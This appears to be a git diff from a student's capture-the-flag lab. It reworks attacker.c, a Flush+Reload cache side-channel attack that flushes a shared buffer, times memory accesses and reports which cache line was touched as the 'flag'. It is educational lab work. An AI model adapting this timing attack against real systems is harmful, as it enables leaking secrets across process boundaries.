diff --git a/Part2-FlushReload/attacker.c b/Part2-FlushReload/attacker.c
index 4fbcc2f..e09aa2e 100644
--- a/Part2-FlushReload/attacker.c
+++ b/Part2-FlushReload/attacker.c
@@ -25,30 +25,33 @@ int main() {
     char *buf = allocate_shared_buffer();
 
     // [2.1] TODO: Put your capture-the-flag code here
-    for(int i = 0; i < 1024; i++) {
-        clflush((ADDR_PTR)buf + i * 128);
-    }
-    for(int i = 0; i < WAIT_TIME; i++);
-    for(int i = 0; i < 10000; i++) {
-        new_offset = (AVAR * offset + CVAR) % 1024;
-        if(offset == new_offset||offset-new_offset==1||offset-new_offset==-1) {
-            offset = (AVAR1 * offset + CVAR1) % 1024;
+    for (int j = 0; j < 1024; j++) {
+        for(int i = 0; i < 1024; i++) {
+            clflush((ADDR_PTR)buf + i * 128);
         }
-        else {
-            offset = new_offset;
-        }
-        time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
-        if(time < CACHE_HIT_THRESHOLD) {
-            clflush((ADDR_PTR)buf + offset * 128);
-            for(int i = 0; i < WAIT_TIME; i++);
-            new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
-            if(new_time < CACHE_HIT_THRESHOLD) {
-                flag = offset;
-                index = i;
-                break;
+        for(int i = 0; i < WAIT_TIME; i++);
+        for(int i = 0; i < 64; i++) {
+            new_offset = (AVAR * offset + CVAR) % 1024;
+            if(offset == new_offset||offset-new_offset==1||offset-new_offset==-1) {
+                offset = (AVAR1 * offset + CVAR1) % 1024;
+            }
+            else {
+                offset = new_offset;
+            }
+            time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
+            if(time < CACHE_HIT_THRESHOLD) {
+                // clflush((ADDR_PTR)buf + offset * 128);
+                for(int i = 0; i < WAIT_TIME; i++);
+                new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
+                if(new_time < CACHE_HIT_THRESHOLD) {
+                    flag = offset;
+                    index = i;
+                    break;
+                }
             }
         }
     }
+
     printf("Flag: %d\n", flag);
     printf("Time: %d\n", time);
     printf("Index: %d\n", index);